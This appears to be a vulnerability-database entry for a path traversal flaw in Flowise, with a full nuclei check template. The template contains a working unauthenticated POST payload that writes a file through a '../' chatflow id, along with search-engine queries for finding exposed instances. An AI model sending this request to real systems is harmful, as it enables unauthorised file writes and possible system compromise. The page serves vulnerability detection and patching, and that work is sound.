Browse / CVEs / CVE-2025-71334
CVE-2025-71334· flowiseai / flowise· CWE-73
Flowise - Path Traversal
criticalseverity
9.8CVSS score
4.4%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it
Flowise <= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.
Impact
Unauthenticated attackers can read and write arbitrary files, potentially leading to remote code execution and full system compromise.
Fix
Update to version 3.0.6 or later.
How to confirm it
Send: GET {{BaseURL}}/
Positive when: contains "Flowise"
Send: POST {{BaseURL}}/api/v1/chatflows
Positive when: contains "FILE-STORAGE::" AND status 200Run it with nuclei: nuclei -id CVE-2025-71334 -u <target>
The full check
id: CVE-2025-71334
info:
name: Flowise - Path Traversal
author: theamanrawat
severity: critical
description: |
Flowise <= 2.2.8 contains a path traversal vulnerability caused by missing validation of chatflowId and chatId parameters in file handling, letting unauthenticated attackers read and write arbitrary files, exploit requires no authentication.
impact: |
Unauthenticated attackers can read and write arbitrary files, potentially leading to remote code execution and full system compromise.
remediation: |
Update to version 3.0.6 or later.
reference:
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849
- https://nvd.nist.gov/vuln/detail/CVE-2025-71334
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-71334
epss-score: 0.0436
epss-percentile: 0.91324
cwe-id: CWE-73
metadata:
verified: true
max-request: 2
vendor: flowiseai
product: flowise
shodan-query: title:"Flowise"
fofa-query: title="Flowise"
censys-query: services.http.response.html_title="Flowise"
tags: cve,cve2025,flowise,lfi,path-traversal,file-write,vkev,intrusive
variables:
name: "{{randstr}}"
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/"
matchers:
- type: word
part: body
words:
- "Flowise"
case-insensitive: true
internal: true
- method: POST
path:
- "{{BaseURL}}/api/v1/chatflows"
headers:
Content-Type: application/json
x-request-from: internal
body: |
{"id":"../../../../../../../../tmp","name":"{{name}}","deployed":false,"isPublic":false,"flowData":"{\"nodes\":[{\"id\":\"a\",\"data\":{\"category\":\"Document Loaders\",\"inputs\":{\"key\":\"data:text/plain;base64,bnVjbGVpLWN2ZS0yMDI1LTcxMzM0,a:{{name}}.txt\"}}}],\"edges\":[],\"viewport\":{\"x\":1,\"y\":1,\"zoom\":1}}","chatbotConfig":null,"apiConfig":null,"analytic":null,"speechToText":null,"type":"CHATFLOW"}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "FILE-STORAGE::"
- type: status
status:
- 200
extractors:
- type: regex
part: body
group: 1
regex:
- '\\"FILE-STORAGE::\[\\\\\\"(.*?)\\\\\\"\]\\"'References
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-q67q-549q-p849
- https://nvd.nist.gov/vuln/detail/CVE-2025-71334
Use this check only on systems you are authorised to test. Where the data comes from